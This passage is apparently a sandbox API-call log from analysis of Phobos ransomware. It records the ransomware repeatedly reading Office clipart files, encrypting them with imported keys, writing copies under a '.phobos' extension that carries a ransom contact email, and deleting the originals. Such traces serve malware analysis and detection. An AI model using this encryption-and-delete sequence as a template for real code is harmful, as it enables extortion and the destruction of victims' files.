hTemplateFile=0x0) returned 0x300 [0060.042] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc590) returned 1 [0060.042] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.042] ReadFile (in: hFile=0x338, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1678, lpOverlapped=0x0) returned 1 [0060.043] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1680, dwBufLen=0x1680 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1680) returned 1 [0060.044] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1680, lpOverlapped=0x0) returned 1 [0060.044] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc890) returned 1 [0060.044] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.044] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.044] CryptDestroyKey (hKey=0x10dc890) returned 1 [0060.044] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.045] CryptDestroyKey (hKey=0x10dc590) returned 1 [0060.045] CloseHandle (hObject=0x338) returned 1 [0060.045] CloseHandle (hObject=0x300) returned 1 [0060.046] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0060.046] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.047] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2644) returned 1 [0060.047] CloseHandle (hObject=0x300) returned 1 [0060.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0060.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.047] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.047] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.048] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dccd0) returned 1 [0060.048] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.048] ReadFile (in: hFile=0x300, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xa54, lpOverlapped=0x0) returned 1 [0060.099] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa60, dwBufLen=0xa60 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa60) returned 1 [0060.099] WriteFile (in: hFile=0x338, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xa60, lpOverlapped=0x0) returned 1 [0060.100] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0060.100] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.100] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.100] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.100] WriteFile (in: hFile=0x338, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.100] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0060.100] CloseHandle (hObject=0x300) returned 1 [0060.100] CloseHandle (hObject=0x338) returned 1 [0060.101] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0060.101] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.102] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3780) returned 1 [0060.102] CloseHandle (hObject=0x338) returned 1 [0060.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0060.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.102] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.102] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.102] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0060.102] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.102] ReadFile (in: hFile=0x338, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xec4, lpOverlapped=0x0) returned 1 [0060.110] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xed0, dwBufLen=0xed0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xed0) returned 1 [0060.110] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xed0, lpOverlapped=0x0) returned 1 [0060.111] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0060.111] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.111] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.111] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.111] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.111] CryptDestroyKey (hKey=0x10dc690) returned 1 [0060.111] CloseHandle (hObject=0x338) returned 1 [0060.112] CloseHandle (hObject=0x300) returned 1 [0060.112] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0060.116] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.116] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4164) returned 1 [0060.116] CloseHandle (hObject=0x338) returned 1 [0060.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0060.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.116] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.116] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.117] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0060.117] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.117] ReadFile (in: hFile=0x338, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1044, lpOverlapped=0x0) returned 1 [0060.123] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1050, dwBufLen=0x1050 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1050) returned 1 [0060.123] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1050, lpOverlapped=0x0) returned 1 [0060.124] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0060.124] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.124] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.124] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.124] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.124] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0060.124] CloseHandle (hObject=0x338) returned 1 [0060.124] CloseHandle (hObject=0x330) returned 1 [0060.124] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0060.126] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.132] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=13102) returned 1 [0060.132] CloseHandle (hObject=0x310) returned 1 [0060.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0060.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.132] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.132] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.238] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc550) returned 1 [0060.238] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.238] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x332e, lpOverlapped=0x0) returned 1 [0060.288] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3330, dwBufLen=0x3330 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3330) returned 1 [0060.288] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3330, lpOverlapped=0x0) returned 1 [0060.289] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc590) returned 1 [0060.289] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.289] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.289] CryptDestroyKey (hKey=0x10dc590) returned 1 [0060.289] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.289] CryptDestroyKey (hKey=0x10dc550) returned 1 [0060.289] CloseHandle (hObject=0x310) returned 1 [0060.289] CloseHandle (hObject=0x328) returned 1 [0060.290] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0060.291] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.292] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=9590) returned 1 [0060.292] CloseHandle (hObject=0x328) returned 1 [0060.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0060.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.292] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.292] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.293] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0060.293] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.293] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2576, lpOverlapped=0x0) returned 1 [0060.375] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2580, dwBufLen=0x2580 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2580) returned 1 [0060.375] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2580, lpOverlapped=0x0) returned 1 [0060.380] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc790) returned 1 [0060.380] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.380] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.380] CryptDestroyKey (hKey=0x10dc790) returned 1 [0060.380] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.381] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0060.381] CloseHandle (hObject=0x328) returned 1 [0060.381] CloseHandle (hObject=0x310) returned 1 [0060.382] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0060.385] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.405] 